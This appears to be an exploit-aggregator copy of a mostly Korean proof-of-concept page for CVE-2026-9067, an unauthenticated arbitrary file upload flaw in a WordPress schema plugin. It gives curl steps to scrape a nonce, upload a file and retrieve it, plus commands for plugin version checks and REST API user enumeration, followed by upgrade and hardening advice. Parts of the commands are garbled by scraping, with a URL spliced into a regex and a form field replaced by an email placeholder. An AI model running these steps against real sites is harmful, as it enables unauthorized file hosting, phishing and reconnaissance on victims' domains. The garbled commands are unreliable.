Exploit for By-Poloss..-..

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-POLOSSS-BY-POLOSS..-..CVE-2026-9067
# POC & Xploit - 개념 증명 디렉토리

WordPress 보안 테스트 환경에서 발견된 취약점에 대한 문서 및 익스플로잇

* * *

## 취약점 목록

CVE ID| 플러그인| 심각도| 유형| 상태  
---|---|---|---|---  
CVE-2026-9067| Schema & Structured Data for WP & AMP| 높음 (8.1)| 무제한 파일 업로드| 문서화됨  
  
* * *

## CVE-2026-9067

### 빠른 요약

### 취약점 설명

Schema & Structured Data for WP & AMP 플러그인 버전 1.60 미만은 파일 업로드를 위한 AJAX 핸들러에서 사용자 권한을 검증하지 않고 업로드된 파일 형식을 검증하지 않습니다. 이로 인해 인증되지 않은 공격자가 임의 파일을 업로드할 수 있습니다.

### 영향

  * **콘텐츠 호스팅** : 공격자가 피해자 도메인에 악성 콘텐츠를 호스팅할 수 있음
  * **디스크 소비** : 임의 파일 업로드로 디스크 공간을 소진할 수 있음
  * **평판 악용** : 피해자 도메인에서의 맬웨어, 피싱 페이지 배포



**중요 참고사항** : WordPress 코어는 실행 파일(`.php`, `.phtml`, `.html`, `.svg`)을 차단하므로, 이 취약점으로 인한 **직접적인 RCE 경로는 없습니다**.

### Files

root@kitploit:~
    
    
    CVE-2026-9067/
    ├── CVE-2026-9067.md       # Dokumentasi lengkap (file ini)
    ├── CVE-2026-9067.py       # Python exploit dengan multi-threading
    ├── CVE-2026-9067.sh       # Bash/Shell PoC script
    └── CVE-2026-9067_exploit.sh  # Alternative Bash PoC
    

### 빠른 PoC

root@kitploit:~
    
    
    # Step 1: Get nonce
    NONCE=$(curl -s "https://yorbit7.ddev.site/" | grep -oP 'saswp_rf_(page_)?security_nonce["\x27]?\s*:\s*["\'](https://github.com/polosss/by-poloss..-..cve-2026-9067/blob/HEAD/%5Ba-f0-9%5D%7B10%7D)["\']' | grep -oP '[a-f0-9]{10}' | head -1)
    
    # Step 2: Upload arbitrary file
    curl -X POST 'https://yorbit7.ddev.site/wp-admin/admin-ajax.php' \
      -F 'action=saswp_rf_form_image_upload' \
      -F "saswp_rf_form_nonce=$NONCE" \
      -F 'some-email@example.com;type=image/png;filename=evil.csv'
    
    # Step 3: Access uploaded file
    curl -s "https://yorbit7.ddev.site/wp-content/uploads/$(date +%Y)/$(date +%m)/evil.csv"
    

* * *

## 환경 정보

* * *

## 테스트 명령어

### 사이트 상태 확인

root@kitploit:~
    
    
    curl -s -o /dev/null -w "%{http_code}" https://yorbit7.ddev.site
    

### 플러그인 버전 확인

root@kitploit:~
    
    
    curl -s https://yorbit7.ddev.site/wp-content/plugins/schema-and-structured-data-for-wp/readme.txt | grep -i "Stable tag:"
    

### 사용자 열거

root@kitploit:~
    
    
    curl -s https://yorbit7.ddev.site/wp-json/wp/v2/users | jq '.[] | {id, name, slug}'
    

* * *

## 해결 방법

  1. **플러그인 업그레이드** : Schema & Structured Data for WP & AMP를 버전 1.60 이상으로 업데이트
  2. **플러그인 비활성화** : 업그레이드가 불가능하면 플러그인 비활성화
  3. **강화** : 
     * `DISALLOW_FILE_MODIFICATIONS` 상수 설정
     * `.htaccess`를 통해 업로드 디렉토리에서 PHP 실행 비활성화
     * WAF 규칙 구현



* * *

## 참고 자료

  * NVD CVE-2026-9067
  * WPScan Vulnerability Database
  * WordPress 플러그인 페이지
  * 원본 연구자: 0xBassia